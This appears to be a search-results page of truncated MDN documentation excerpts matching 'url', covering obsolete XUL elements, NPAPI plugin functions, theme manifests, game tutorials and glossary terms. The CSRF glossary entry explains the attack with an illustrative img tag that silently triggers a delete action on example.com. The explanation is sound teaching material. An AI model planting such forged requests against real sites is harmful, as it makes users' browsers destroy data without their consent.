t out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. properties image type: image
url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , ,...
tab - Archive of obsolete content
object for the element. command type: element id gets and sets the value of the command attribute. control type: tabs element returns the enclosing tabs element. crop type: string gets and sets the value of the crop attribute. disabled type: boolean gets and sets the value of the disabled attribute. image type: image
url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. linkedpanel type: id of a tabpanel element gets and sets the value of the linkedpanel attribute. selected type: boolean this property's value is true if this element is selected, or false if it is not. this property is re...
toolbarbutton - Archive of obsolete content
the crop attribute. dir type: string gets and sets the value of the dir attribute. disabled type: boolean gets and sets the value of the disabled attribute. dlgtype type: string gets and sets the value of the dlgtype attribute. group type: string group name gets and sets the value of the group attribute. image type: image
url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. open type: boolean gets and sets the value of the open attribute. orient type: string gets and sets the value of the orient attribute. tabindex type: integer gets and sets the value o...
triple - Archive of obsolete content
ion exists, the rule may match, assuming that all the conditions match. if the assertion does not exist, the rule will not match. both the subject and object attributes may be variables. the subject of a triple is an rdf resource. in an rdf file this would usually be an rdf description element. the predicate would be a child element or property. for example, for a bookmark resource, the name and
url would be predicates. they should be specified in their full uri form. the object is the value of the rdf property. more information is available in the xul tutorial. attributes object, predicate, subject examples (example needed) attributes object type: string the object of the element. it can be a variable reference, an rdf resource uri, or an rdf literal value. predicate...
Getting started with XULRunner - Archive of obsolete content
1.10 (oneiric ocelot), xulrunner is not longer maintained and doesn't exist in ubuntu repository. therefore, either you need to compile xulrunner manually or download a binary release from mozilla's ftp server. one way to achieve this is to run the following script everytime you want to install a new version: firefox_version=`grep -po "\d{2}\.\d+" /usr/lib/firefox/platform.ini` arch=`uname -p` x
url=https://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/$firefox_version/runtimes/xulrunner-$firefox_version.en-us.linux-$arch.tar.bz2 cd /opt sudo sh -c "wget -o- $x
url | tar -xj" sudo ln -s /opt/xulrunner/xulrunner /usr/bin/xulrunner sudo ln -s /opt/xulrunner/xpcshell /usr/bin/xpcshell you could also save this script to a file for convenience. note: if you are using firefox build from ubu...
Opening a Link in the Default Browser - Archive of obsolete content
pref("network.protocol-handler.warn-external.ftp", false); you can also check whether an external handler for a scheme exists. this is how you do it: var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); if (extps.externalprotocolhandlerexists("http")) { // handler for http://
urls exists } link within an iframe to enable a link inside an html document that is the "src" of an iframe to be opened in the default browser, setting the preference: pref("network.protocol-handler.expose-all", false); seems to work. ...
Using Crash Reporting in a XULRunner Application - Archive of obsolete content
xulrunner application authors who wish to use crash reporting must run a crash reporting server. please see the socorro project for more information. to enable crash reporting on the client, set the following items in application.ini: [crash reporter] enabled=true server
url=https://your.server.
url/submit note: because crash reports can contain private data including passwords, in production environments they should only be sent via https. ...
Windows and menus in XULRunner - Archive of obsolete content
mand="cmd_open"/> <menuitem command="cmd_save"/> ... <toolbarbutton id="open" command="cmd_open"/> <toolbarbutton id="save" command="cmd_save"/> ... we can add images to the toolbar buttons through the css file. we could hard-code the images in the xul file itself, but css is a better practice. here’s the css file: /* global skin --------------------------------------------------- */ @import
url(chrome://global/skin/); /* toolbar ------------------------------------------------------- */ #open { list-style-image:
url(chrome://basicapp/skin/open.png); -moz-box-orient: vertical; } #save { list-style-image:
url(chrome://basicapp/skin/save.png); -moz-box-orient: vertical; } of course, you need to make sure the png files are included in the application. there are quite a few thin...
mozilla.dev.platform FAQ - Archive of obsolete content
or you can use the packages of the firefox release repackager which uses the embedded framework successfully. please make sure you're using 1.8.0.4 or later (not 1.8.0.1, which had a bug that prevented this from working properly). q: when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box, what needs to be implement? a: have the browser.chrome
url preference - this should be a xul document containing a <browser type="content-primary"> element in which the popup window's content should get loaded. visual studio express 2005 q: when i try to run xulrunner-stub.exe i get the error "this application failed to start because msvcr80.dll was not found." a: see bug 350616 ...
2006-10-20 - Archive of obsolete content
entpolicy. when the method is executed firefox crashes. as of yet there are no responses. ie7 rss reader better - say reviewers a discussion revolving around the quality of rss readers in ie7, firefox and other assorted browsers. also a debate about which browser is "beating" which to a lesser extent further in the discussion. how to create firefox extension (chrome) to add images next to
urls ? question regarding how to make a firefox extension that would insert an image next to all links in the loaded web pages similar to the mcafee siteadvisor extension. adding support for new uri scheme question regarding creating a new uri scheme for firefox on windows. helpful information was found here on mozillazine. meetings none this week. authors sara minchella (sara) dave ...
2006-11-03 - Archive of obsolete content
t/airbag/airbag/src/common/windows/guid_string.cc make[1]: leaving directory `/cygdrive/c/mozilla/obj-i686-pc-cygwin' make: *** [build] error 2 he also noted that he is using make 3.80-1. on november 1st gavin sharp responded phil's question. he said that the problem that phil is experiencing is a known issue. he also mentioned that airbag doesn't build with msvc 7.1. (http://www.google.com/
url?sa=d&q=htt...tail%3fid%3d64) gavin recommended that phil should add |ac_add_options --disable-airbag| to his .mozconfig. new windows compatibility issue? originally posted on november 1st: dale dale has set up a windows machine in order to perform mozilla builds but has been unsuccessful to do so. according to him he has followed the windows build requirements recommended by mozilla. he als...
2006-11-10 - Archive of obsolete content
e about unit testing for the mozilla toolkit, letting developers know about the importance of testing for the improvement of mozilla 2, and asks for complete coverage. several community members comment, backing up benjamin's post. william vanderpol asks, regarding remote xul applications, if is it possible (or does it exist?) to have an extension that will allow chrome access to certain specified
url's? james leigh points out that resources are available at o'reily, in the creating applications with mozilla section. benjamin smedberg has been "working on some xptcall refactoring which will allow us to expose xptcall via a frozen api (and c linkage)". he is looking for xptcall port maintainers to submit patches to bug 349002. matthew gertner wants to know if anyone has written code to paste im...
2006-11-03 - Archive of obsolete content
he aim of the group is to develop a new, higher standard for the validation which is done before certificate issuance, called extended validation. the idea was that such certs would be presented differently in the ui, to give the cas a reason to go to the extra effort, and to give customers a reason to buy them. in ie 7 at least, the use of an ev certificate is tied to the green background in the
url bar. a decision has to be made as to the usefulness of extended validation certificates and weather or not they will make a difference to the reliability of information in certificates. if it does make a difference, does it warrant a different ui presentation for these certificates (ie the green bar). he would like to have some comments before november 19th, after which there will possibly be a...
2006-09-06 - Archive of obsolete content
onents with windows-based gecko-sdk/xulrunner dll/exes. threading in xpcom rules on threading in xpcom or to firefox extensions. how to build xpcom component on mac os x a tutorial on how to build xpcom component on mac os x firefox crashes when calling a function provided by a .so library a solution to the problem loading a shared library when using xpcom firefoxes crashes while getting
url in xpcom solutions to resolve the problem of the firefox crash when trying to get the path and the prepath of the
url of the current page in xpcom meetings none during this week. ...
NPN_GetValue - Archive of obsolete content
the value parameter should point to a npbool, which will be set appropriately if the function returns nperr_no_error. npnvprivatemodebool: indicates whether or not the browser is currently in private browsing mode. the value parameter should point...
NPN_Status - Archive of obsolete content
o the current plug-in instance. message pointer the buffer that contains the status message string to display. description you can use this function to make your plug-in display status information in the browser window, in the same place the browser does. if your plug-in has a button or other object that acts as a link when clicked, you can call npn_status() to display a description or
url when the user moves the cursor over it. the browser always displays the last status line message it receives, regardless of the message source. your message is always displayed, but you have no control over how long it stays in the status line before another message replaces it. see also npn_useragent() npp ...
NPP_Destroy - Archive of obsolete content
ce « plug-in side plug-in api summary deletes a specific instance of a plug-in. syntax #include <npapi.h> nperror npp_destroy(npp instance, npsaveddata **save); parameters the function has the following parameters: instance pointer to the plug-in instance to delete. **save state or other information to save for reuse by a new instance of this plug-in at the same
url. passed to npp_new. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description npp_destroy releases the instance data and resources associated with a plug-in. the browser calls this function when a plug-in instance is deleted, typically because the user ha...
NPP_New - Archive of obsolete content
argc number of html arguments in the embed tag for an embedded plug-in; determines the number of attributes in the argn and argv arrays. argn[] array of attribute names passed to the plug-in from the embed tag. argv[] array of attribute values passed to the plug-in from the embed tag. saved pointer to data saved by npp_destroy for a previous instance of this plug-in at the same
url. if non-null, the browser passes ownership of the npsaveddata object back to the plug-in. the plug-in is responsible for freeing the memory for the npsaveddata and the buffer it contains. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. description npp_new creates a new instance of a plu...
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
pack the plugin because dlls can't be loaded from xpi files. providing updates when plugins are packaged in this way they can make use of the built in add-on update system. this allows a remote update file to be read periodically and an updated version of the plugin offered to the user or to mark the plugin as compatible with a wider range of applications. this is performed by including an update
url in the install manifest. this should point to an update.rdf file on the internet which will include the updated versions and version information for the plugin. ...
Supporting private browsing in plugins - Archive of obsolete content
not private browsing mode is in effect. plugins should be updated to monitor the state of private browsing mode and only save private information when private browsing is disabled. potentially private information may include (but is not necessarily limited to) history information for downloaded data. for example, if private browsing mode is in effect, video player plugins should not record the
urls of watched videos in their histories. detecting private browsing mode plug-ins can detect whether or not private browsing mode is in effect by using the npn_getvalue() function to check the current value of the npnvprivatemodebool variable. ...
0.90 - Archive of obsolete content
<rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://my.netscape.com/rdf/simple/0.9/" > <channel> <title>mozilla dot org</title> <link>http://www.mozilla.org</link> <description>the mozilla organization web site</description> </channel> <image> <title>mozilla</title> <
url>http://www.mozilla.org/images/moz.gif</
url> <link>http://www.mozilla.org</link> </image> <item> <title>new status updates</title> <link>http://www.mozilla.org/status/</link> </item> <item> <title>bugzilla reorganized</title> <link>http://www.mozilla.org/bugs/</link> </item> <item> ...
Element - Archive of obsolete content
s managing editor element) n <name> (rss name element) o p <pubdate> (rss published date element) q r <rating> (rss rating element) <rss> (rss's root "rss" element) s <skipdays> (rss skip days element) <skiphours> (rss skip hours element) <source> (rss source element) t <textinput> (rss text input element) <title> (rss title element) <ttl> (rss ttl element) u <
url> (rss
url element) v w <webmaster> (rss web master element) <width> (rss width element) x y z ...
.htaccess ( hypertext access ) - Archive of obsolete content
the term .htaccess stands for "hypertext access". a file with the htaccess file extension is an access configuration file for apache server. the .htaccess file configures the current directory with things like password protection,
url rewrites & redirects, and more. file accessing : htaccess files can be opened using any text editor, like windows notepad, vin, sublime text editor or any other. syntax highliting support for .htaccess files less. common application
url redirects & rewrite: htaccess files are often used to redirect traffic to a web page to another or from traffic to a directory to another even between domains is possible. it's a fast and efficient way of redirecting traffic, because the redirect happens before the pages are served. redirects can be made on a tempora...
Introduction to Public-Key Cryptography - Archive of obsolete content
e a variety of other name-value pairs. they are used to identify both certificate subjects and entries in directories that support the lightweight directory access protocol (ldap). the rules governing the construction of dns can be quite complex and are beyond the scope of this document. for comprehensive information about dns, see a string representation of distinguished names] at the following
url: https://www.ietf.org/rfc/rfc1485.txt a typical certificate every x.509 certificate consists of two sections: the data section includes the following information: the version number of the x.509 standard supported by the certificate. the certificate's serial number. every certificate issued by a ca has a serial number that is unique among the certificates issued by that ca. inf...
Sunbird Theme Tutorial - Archive of obsolete content
nt from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:id="just-testing@example.com" em:name="just testing" em:creator="rod whiteley" em:description="a test theme for sunbird" em:homepage
url="http://developer.mozilla.org/" em:version="0.1" em:internalname="testing" em:type="4" > <em:targetapplication><!-- sunbird --> <description em:id="{718e30fb-e89b-41dd-9da7-e25a45638b28}" em:minversion="0.2.9" em:maxversion="0.4" /> </em:targetapplication> </description> </rdf> in the line that starts <tt>em:id</tt>, paste your identifier b...
contents.rdf - Archive of obsolete content
yntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:my_theme"/> </rdf:seq> <rdf:description about="urn:mozilla:skin:my_theme" chrome:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:author
url="" chrome:description="" chrome:name="my_theme" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="...
install.rdf - Archive of obsolete content
3a3a9e97384}</em:id> <em:minversion>min_ff_version</em:minversion> <em:maxversion>max_ff_version</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <!-- my_theme --> <em:name>my_theme</em:name> <em:description>my_theme</em:description> <em:creator>your_name</em:creator> <em:contributor>contributors_names</em:contributor> <em:homepage
url>themes_homepage</em:homepage
url> <em:update
url>
url_of_update_location </em:update
url> <em:about
url>
url_of_about_page </em:about
url> <!-- front end integration hooks (used by theme manager)--> <em:internalname>my_theme</em:internalname> </description> </rdf> ...
Making sure your theme works with RTL locales - Archive of obsolete content
t/right rules for paddings, borders, and margins. instead, you should use the following start/end rules instead to ensure rtl compatibility: -moz-padding-start -moz-padding-end -moz-margin-start -moz-margin-end -moz-border-start -moz-border-start-color -moz-border-start-style -moz-border-start-width -moz-border-end -moz-border-end-color -moz-border-end-style -moz-border-end-width #
urlbar-search-splitter { min-width: 8px; -moz-margin-start: -4px; border: none; background: transparent; } testing your theme testing your theme for rtl compatibility is easy, and you do not even have to go through the hassle of downloading a rtl locale. the force rtl extension enables you to switch the interface of firefox from ltr to rtl and the other way around dynamically by toggling a ...
Theme changes in Firefox 3.5 - Archive of obsolete content
me://global/skin/media/videocontrols.css) shadow effect for disabled text using text-shadow. greying menus of inactive windows: active windows get attribute 'active="true"'. to do this only for 3.5 use a css selector that is only supported in 3.5, like so: window:not([active="true"]) menubar>menu:nth-child(1n) { color:threedshadow } private browsing: show private browsing state by coloring the
url bar, or by adding an icon to the toolbox/tabbrowserbar. see private browsing for theme designers for details. native hyperlink color: use -moz-nativehyperlinktext, to select the computer's native hyperlink color. all known changes for a list of all the known changes see: mozillazine's forum: theme changes for firefox 3.5 ...
Theme changes in Firefox 3 - Archive of obsolete content
he yellow background for the location bar has been deprecated; instead, themes should style the new #identity-box element depending on its verifieddomain/verifiedidentity class. the go button is now located inside the location bar, so the image for it (chrome://browser/skin/go-arrow.png) needs to be smaller. the rule that's needed to show and hide the go button and other location bar icons is: #
urlbar[pageproxystate="invalid"] > #
urlbar-icons > :not(#go-button) , #
urlbar[pageproxystate="valid"] > #
urlbar-icons > #go-button { visibility: collapse; } images to add add the following images: chrome://global/skin/icons/information-16.png used when presenting information notices. chrome://global/skin/icons/warning-16.png used when displaying warnings. images to remove the following ...
-moz-binding - Archive of obsolete content
the -moz-binding css property is used by mozilla-based applications to attach an xbl binding to a dom element. syntax /* <
url> value */ -moz-binding:
url(http://www.example.org/xbl/htmlbindings.xml#checkbox); /* global values */ -moz-binding: inherited; -moz-binding: initial; -moz-binding: unset; values <
url> the
url for the xbl binding (including the fragment identifier). none no xbl binding is applied to the element. formal definition initial valuenoneapplies toall elements except generated content or pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <
url> | none examples .exampleone { -moz-binding:
url(http://www.example.org/xbl/htmlbindings.xml#radiobutton); } specifications not part of any standard. ...
::-ms-clear - Archive of obsolete content
ar button is only shown on focused, non-empty text controls. this includes inputs that appear text-like or fall back to type="text". such inputs include: <input type="color"> <input type="date"> <input type="datetime"> <input type="datetime-local"> <input type="email"> <input type="month"> <input type="number"> <input type="search"> <input type="tel"> <input type="time"> <input type="
url"> <input type="week"> allowable properties only the following css properties can be used in a rule with ::-ms-clear in its selector. other properties are ignored. -ms-high-contrast-adjust background-clip background-color background-image background-origin background-position-x background-position-y background-repeat background-size border-bottom-color border-bottom-left-radius ...
JSException - Archive of obsolete content
twrappedexception method was not available. jsexception constructors, deprecated in javascript 1.4, constructs a jsexception object with an optional detail message. declaration 1. public jsexception() 2. public jsexception(string s) 3. public jsexception(string s, string filename, int lineno, string source, int tokenindex) arguments s the detail message. filename the
url of the file where the error occurred, if possible. lineno the line number of the file, if possible. source the string containing the javascript code being evaluated. tokenindex the index into the source string where the error occurred. getwrappedexception instance method getwrappedexception. declaration public object getwrappedexception() description getwrappedexception(...
Window.importDialog() - Archive of obsolete content
cause opening windows on mobile isn't necessarily appropriate, the firefox mobile team designed the importdialog() method to replace window.opendialog(). instead of opening a new window, it merges the specified xul dialog into the main window. syntax newdialog = importdialog(aparent, asrc, aarguments) newdialog the opened window aparent the dialog's parent; can be null. asrc the chrome
url of the xul dialog. aarguments a javascript object containing data to pass to the dialog. example var dialog = importdialog(null, "chrome://myextension/content/dialog.xul", myobject); notes the xul passed to importdialog() is very similar to xul passed to window.opendialog(), with some limitations and caveats: only <dialog> top level elements are permitted. scripts are loaded via an at...
XForms Help Element - Archive of obsolete content
ng form control has focus or if the containing form control recieves a xforms-help event. the message of the help element can exist in instance data, in a remote document, or as inline text. if more than one source of message is specified in this element, the order of precedence is: single node binding attributes, linking attributes, inline text. attributes single-node binding linking src -
url of a document whose contents will be retrieved by the help element and used to provide a help message for the containing form control. type restrictions the help element can be bound to any simple content. representations is represented by modeless window that contains the help element's message. ...
XForms Hint Element - Archive of obsolete content
hint will also be displayed if the containing form control recieves a xforms-hint event. the message of the hint element can exist in instance data, in a remote document, or as inline text. if more than one source of message is specified in this element, the order of precedence is: single node binding attributes, linking attributes, inline text. attributes single-node binding linking src -
url of a document whose contents will be retrieved by the hint element and used to provide hint text for the containing form control. type restrictions the hint element can be bound to any simple content. representations is represented by a tooltip window that contains the hint element's message. ...
XForms Label Element - Archive of obsolete content
cess key is in a standard way. usually by underlining the accesskey character in the label text. focus behavior - when a label element is clicked or its accesskey is activated then the form control that contains the label will be given the focus. attributes ui common accesskey - used to specify the keyboard shortcut for focusing the parent form control. single-node binding linking src -
url of a document whose contents will be retrieved by the label element and used to provide label text for the containing form control. type restrictions the label element can be bound to any simple content. representations the xforms label element is represented by the text retrieved from instance data, a document or the label element's own inline content. ...
XForms Message Element - Archive of obsolete content
eners to display a message to the user when the specified event occurs (see the spec). the message of the message element can exist in instance data, in a remote document, or as inline text. if more than one source of message is specified in this element, the order of precedence is: single node binding attributes, linking attributes, inline text. attributes single-node binding linking src -
url of a document whose contents will be retrieved by the message element and used to provide the message text for the message element. special level - defines a representation of message element type restrictions the message element can be bound to any simple content. representations it may be represented in the following ways: modal window - if level attribute value is modal modeless w...
XForms Repeat Element - Archive of obsolete content
erits="bind, model, nodeset" anonid="anonidgridrepeat"> <xf:trigger> <xf:label>r</xf:label> <xf:delete ev:event="domactivate" at="index('anonidgridrepeat')" xbl:inherits="model, bind, nodeset"/> </xf:trigger> </xf:repeat> </xbl:content> </xbl:binding> </xbl:bindings> <style> div.grid { -moz-binding:
url('#grid'); } </style> <xf:model> <xf:instance> <data xmlns=""> <repeat> <item> <input>input1</input> </item> <item> <input>input2</input> </item> <item> <input>input3</input> </item> </repeat> </data> </xf:instance> </xf:model> </head> <body> <xf:repeat ...
XQuery - Archive of obsolete content
ipt to developers or to browser users), at least one extension has been developed to give a preliminary support for xquery for browser users (and serving as a simple model for how xquery can be implemented within extensions). xquseme is a working proof-of-concept (so far tested on windows and linux with java installed; mac does not work) extension which allows one to perform xqueries on external
urls, the currently loaded webpage (even if originally from poorly formed html), and/or xml (including well-formed xhtml) documents stored locally. the extension now includes and interfaces with the open-source version of saxonica's saxon b (though this extension currently only performs the xqueries). other popular native xml databases might also be supported (e.g., exist) in the future, especially ...
Archive of obsolete content
rence needs more attention. - i'm also looking for a way to organize all that information. - some inline examples were removed because of technical limitations. they are actually replaced by ''-(example removed)-'' the goal of this handbook is to help you update websites to work with standards-based browsers and properly detect gecko. getting the page
url in npapi plugin sometimes, you want to restrict an npapi plugin to be loadable only from a certain
url or domain or scheme. or whenever you make network requests yourself, you almost always need to enforce same-origin policy. index of archived content inner-browsing extending the browser navigation paradigm this article is the version fr...
Game distribution - Game development
s you don't have to wait several days to have your game's code updated. if your user finds a bug, you can quickly fix it, update the system and refresh the game on your server to provide players with the updated code almost instantly. direct link distribution and instant play you don't have to tell people to search for your game in an app store with html5 games. you can just send them a direct
url to access the game, which they can then click to play the game right away without the need to use third party plugins or download and install a large package. bear in mind that downloading the game might still take a bit of time depending on the size of the game and your network speed. in any case, it's a lot easier to promote the game if you can drive traffic directly where you want it and don't...
Async scripts for asm.js - Game development
html spec) are: <script async>code</script> and var script = document.createelement('script'); script.innerhtml = "code"; document.body.appendchild(script); both are counted as 'inline' scripts and get compiled and then run immediately. what if your code is in a js string? instead of using eval or innerhtml, both of which trigger synchronous compilation, you should use a blob with an object
url: var blob = new blob([codestring]); var script = document.createelement('script'); var
url =
url.createobject
url(blob); script.onload = script.onerror = function() {
url.revokeobject
url(
url); }; script.src =
url; document.body.appendchild(script); the setting of src rather than innerhtml is what makes this script async. ...
Unconventional controls - Game development
umentation there. if all else fails, there's also a gallery of working examples you can look at. to get the leap motion working on your computer you have to first install it by following the steps at leapmotion.com/setup. when everything is installed and the controller is connected to your computer we can proceed with implementing support in our little demo. first, we add a <script> tag with the
url pointing at this file, and add <div id="output"></div> just before the closing </body> tag for outputting diagnostic information. we will need a few helper variables for our code to work — one for the purpose of calculating the degrees from radians, two for holding the horizontal and vertical amount of degrees our hand is leaning above the controller, one for the threshold of that lean, and on...
Bounce off the walls - Game development
the top and bottom edge covered, so let's think about the left and right ones. it is very similar actually, all you have to do is to repeat the statements for x instead of y: if(x + dx > canvas.width || x + dx < 0) { dx = -dx; } if(y + dy > canvas.height || y + dy < 0) { dy = -dy; } at this point you should insert the above code block into the draw() function, just before the closing c
urly brace. the ball keeps disappearing into the wall! test your code at this point, and you will be impressed — now we have a ball that bounced off all four edges of the canvas! we have another problem however — when the ball hits each wall it sinks into it slightly before changing direction: this is because we're calculating the collision point of the wall and the center of the ball, while...
Finishing up - Game development
ered. requestanimationframe helps the browser render the game better than the fixed framerate we currently have implemented using setinterval(). replace the following line: var interval = setinterval(draw, 10); with simply: draw(); and remove each instance of: clearinterval(interval); // needed for chrome to end game then, at the very bottom of the draw() function (just before the closing c
urly brace), add in the following line, which causes the draw() function to call itself over and over again: requestanimationframe(draw); the draw() function is now getting executed again and again within a requestanimationframe() loop, but instead of the fixed 10 milliseconds frame rate, we are giving control of the framerate back to the browser. it will sync the framerate accordingly and render t...
Paddle and keyboard controls - Game development
= canvas.width - paddlewidth; } } else if(leftpressed) { paddlex -= 7; if (paddlex < 0){ paddlex = 0; } } the paddlex position we're using will move between 0 on the left side of the canvas and canvas.width-paddlewidth on the right hand side, which will work exactly as we want it to. add the above code block into the draw() function at the bottom, just above the closing c
urly brace. the only thing left to do now is call the drawpaddle() function from within the draw() function, to actually print it on the screen. add the following line inside your draw() function, just below the line that calls drawball(): drawpaddle(); compare your code here's the working code for you to compare yours against: exercise: make the paddle move faster or slower, or change its s...
Visual typescript game engine - Game development
scriptpath: "externals/drag.ts", }, ]; /** * @description this is main coordinary types of positions * can be "diametric-fullscreen" or "frame". * @property drawreference * @type string */ private drawreference: string = "frame"; /** * aspectratio default value, can be changed in run time. */ private aspectratio: number = 1.333; /** * domain is simple
url address, * recommendent to use for local propose lan ip * like : 192.168.0.xxx if you wanna run ant test app with server. */ private domain: string = "maximumroulette.com"; /** * networkdeeplogs control of dev logs for webrtc context only. */ private networkdeeplogs: boolean = false; /** * masterserverkey is channel access id used to connect * multimedia server chan...
502 - MDN Web Docs Glossary: Definitions of Web-related terms
"502" means that the upstream server has returned an invalid response. normally the upstream server is not down (i.e. furnishes no response to the gateway/proxy), but simply does not understand the same data-exchange protocol as the gateway/proxy. ...
API - MDN Web Docs Glossary: Definitions of Web-related terms
les that exist inside a software program (the application) enabling interaction with it through software - as opposed to a human user interface. the api can be seen as a simple contract (the interface) between the application offering it and other items, such as third party software or hardware. in web development, an api is generally a set of code features (e.g. methods, properties, events, and
urls) that a developer can use in their apps for interacting with components of a user's web browser, or other software/hardware on the user's computer, or third party websites and services. for example: the getusermedia api can be used to grab audio and video from a user's webcam, which can then be used in any way the developer likes, for example, recording video and audio, broadcasting it to an...
Base64 - MDN Web Docs Glossary: Definitions of Web-related terms
a that needs to be stored and transferred over media that are designed to deal with ascii. this is to ensure that the data remain intact without modification during transport. base64 is commonly used in a number of applications including email via mime, and storing complex data in xml. one common application of base64 encoding on the web is to encode binary data so it can be included in a data:
url. in javascript there are two functions respectively for decoding and encoding base64 strings: btoa(): creates a base-64 encoded ascii string from a "string" of binary data ("btoa" should be read as "binary to ascii"). atob(): decodes a base64 encoded string("atob" should be read as "ascii to binary"). the algorithm used by atob() and btoa() is specified in rfc 4648, section 4. note that b...
CORS-safelisted request header - MDN Web Docs Glossary: Definitions of Web-related terms
-safelisted request header: for accept-language and content-language: can only have values consisting of 0-9, a-z, a-z, space or *,-.;=. for accept and content-type: can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x09 (ht)), "():<>?@[\]{}, and 0x7f (del). for content-type: needs to have a mime type of its parsed value (ignoring parameters) of either application/x-www-form-
urlencoded, multipart/form-data, or text/plain. for any header: the value’s length can't be greater than 128. learn more cors-safelisted response header forbidden header name request header ...
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
csrf (cross-site request forgery) is an attack that impersonates a trusted user and sends a website unwanted commands. this can be done, for example, by including malicious parameters in a
url behind a link that purports to go somewhere else: <img src="https://www.example.com/index.php?action=delete&id=123"> for users who have modification permissions on https://www.example.com, the <img> element executes action on https://www.example.com without their noticing, even if the element is not at https://www.example.com. there are many ways to prevent csrf, such as implementing restful api, adding secure tokens, etc. learn more general knowledge cross-site request forgery on wikipedia prevention measures ...
Domain - MDN Web Docs Glossary: Definitions of Web-related terms
a fully qualified domain name (fqdn) contains all necessary parts to look up this authority by name unambigously using the dns system of the internet. for example, in "developer.mozilla.org": "org" is called a top-level domain. they are registered as an internet standard by the iana . here, "org" means "organization" which is defined in a top-level domain registry. ...
HSTS - MDN Web Docs Glossary: Definitions of Web-related terms
ttp strict transport security lets a web site inform the browser that it should never load the site using http and should automatically convert all attempts to access the site using http to https requests instead. it consists in one http header, strict-transport-security, sent by the server with the resource. in other words, it tells the browser that changing the protocol from http to https in a
url works (and is more secure) and asks the browser to do it for every request. learn more strict-transport-security owasp article: http strict transport security wikipedia: http strict transport security ...
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
number (a signed long). when using idl attributes, you read or set values of the desired type, so input.maxlength is always going to return a number and when you set input.maxlength ,it wants a number. if you pass another type, it is automatically converted to a number as specified by the standard javascript rules for type conversion. idl attributes can reflect other types such as unsigned long,
urls, booleans, etc. unfortunately, there are no clear rules and the way idl attributes behave in conjunction with their corresponding content attributes depends on the attribute. most of the time, it will follow the rules laid out in the specification, but sometimes it doesn't. html specifications try to make this as developer-friendly as possible, but for various reasons (mostly historical), some a...
Media (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
es—or even offer different styles—according to the media type (such as screen or print, to name two) or media capabilities (such as width, resolution, or other values) of the viewer's device. learn more general knowledge using media queries technical reference media queries define a set of characteristics or parameters required to apply the css styles that are specified within the c
urly braces of the media query; for example: only applying certain css styles for devices below 768 pixels. @media at-rule conditionally apply part of a stylesheet, based on the result of a media query. window.matchmedia() test the viewing device against a media query. ...
Navigation directive - MDN Web Docs Glossary: Definitions of Web-related terms
csp navigation directives are used in a content-security-policy header and govern to which location a user can navigate to or submit a form to, for example. navigation directives don't fall back to the default-src directive. list of csp navigation directives form-action restricts the
urls which can be used as the target of a form submissions from a given context. frame-ancestors specifies valid parents that may embed a page using <frame>, <iframe>, <object>, <embed>, or <applet>. navigate-to restricts the
urls to which a document can initiate navigation by any means, including <form> (if form-action is not specified), <a>, window.location, window.open, etc. learn more https://www.w3.org/tr/csp/#directives-navigation other kinds of directives: fetch directive ...
PAC - MDN Web Docs Glossary: Definitions of Web-related terms
a proxy auto-configuration file (pac file) is a file which contains a function, findproxyfor
url(), which is used by the browser to determine whether requests (including http, https, and ftp) should go directly to the destination or if they need to be forwarded through a web proxy server. function findproxyfor
url(
url, host) { /* ... */ } ret = findproxyfor
url(
url, host) see proxy auto-configuration (pac) file for details about how these are used and how to create new ones. learn more general knowledge pac on wikipedia technical reference proxy auto-configuration file on mdn ...
Page prediction - MDN Web Docs Glossary: Definitions of Web-related terms
ture or script which, when enabled, tells the browser to download resources the user is likely to visit before the user requests the content. page prediction improves performance by enabling almost instant loading of predicted content. however, page prediction may also download content a user does not seek. some web applications include a prediction feature completing search text and address bar
urls based on browsing history and related searches. for example, as the user types in the address bar, the browser might send the current text in the address bar to the search engine before the user submits the request. although browser page prediction and prediction services enable faster page loads, they consume additional bandwidth. also, pre-loaded websites and embedded content can set and read...
Progressive web apps - MDN Web Docs Glossary: Definitions of Web-related terms
progressive web apps is a term used to describe the modern state of web app development. this involves taking standard web sites/apps that enjoy all the best parts of the web — such as discoverability via search engines, being linkable via
urls, and working across multiple form factors — and supercharging them with modern apis (such as service workers and push) and features that confer other benefits more commonly attributed to native apps. these features include being installable, working offline, and being easy to sync with and re-engage the user from the server. learn more the app center on mdn progressive web apps on google developers ...
Search engine - MDN Web Docs Glossary: Definitions of Web-related terms
